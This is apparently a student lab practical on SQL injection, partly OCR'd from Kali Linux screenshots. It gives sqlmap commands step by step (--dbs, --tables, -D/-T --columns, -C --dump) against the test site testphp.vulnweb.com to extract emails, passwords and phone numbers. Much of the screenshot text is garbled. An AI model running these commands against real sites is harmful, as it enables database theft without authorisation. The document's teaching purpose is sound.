PRACTICAL NO.4: SQL INJECTION

Step 1:- open terminal and write sqlmap
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Step 2: Open below link in firefox browser
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Step 3:- copy the website URL and write the code sqlmap -u (your website URL

ending with php?id=1) --dbs(for database)

‘ B Kali linux - VMware Workstation

File Edit Wiew VM Tabs Help

I-=/oxp

Library x

[ Kali linux

O Type hereto search -

= ] My Computer .
G Kali linux root@iali: ~
T Shared VMs (Deprecated)

sqlmap for
onsibility to obe

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Type here to search

‘ B Kali linux - VMware Workstation

File Edit View VM Tebs Help || - & | @D el
brary * | 15 Kalitinux
O Type hereto search -

= I My Computer
5 Kali linux
1 Shared VMs (Deprecated)

UNION query (NULL) - 11
UNION ALL SELECT NULL,NULL,NULL,NULL
45666d6d6b5. 5

[*]1 ending @

] ~
hitp://testphp.vulnweb.com/Listproducts.php 1

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Type here to search




Step 4 :-after loading or initiating step 3 just add —tables after --dbs for
accessing tables from the database
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Step 5 :after step 4 you will get the database and the table content then just

write sglmap -u (your URL) -D(database) (write your database name) -T(tables)
(write the table name) —columns (to access the columns in your mentioned
table name)
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Step 6 -now you will get the columns present in the tables. Now just write the
same code and in place of --columns write -C (and choose the columns of your
wish) —dump (to dump the values of the columns)
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Now we can see the email, name, password, phone and name
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